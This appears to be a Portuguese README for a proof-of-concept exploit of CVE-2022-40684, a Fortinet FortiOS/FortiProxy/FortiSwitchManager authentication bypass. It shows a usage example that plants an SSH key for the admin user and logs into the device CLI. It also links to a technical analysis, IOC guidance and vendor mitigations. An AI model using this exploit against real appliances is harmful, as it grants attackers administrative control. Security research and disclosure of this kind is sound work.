CVE-2022-40684

POC para CVE-2022-40684 que afeta os appliances Fortinet FortiOS, FortiProxy e FortiSwitchManager.

Análise Técnica

Uma análise técnica da causa raiz da vulnerabilidade pode ser encontrada em nosso blog: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684

Indicadores de Comprometimento

Para analisar os logs do Fortinet em busca de indicadores de comprometimento e saber como habilitar logs mais detalhados, consulte nosso blog sobre IOCs: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

Resumo

Esta POC abusa da vulnerabilidade de bypass de autenticação para definir uma chave SSH para o usuário especificado.

Uso

root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.

Mitigações

Atualize para a versão mais recente ou mitigue seguindo as instruções contidas no PSIRT da Fortinet

• https://www.fortiguard.com/psirt/FG-IR-22-377

Siga o Horizon3.ai Attack Team no Twitter para ficar por dentro das pesquisas de segurança mais recentes:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Aviso Legal

Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis ​​pelo uso indevido do software. Use com responsabilidade.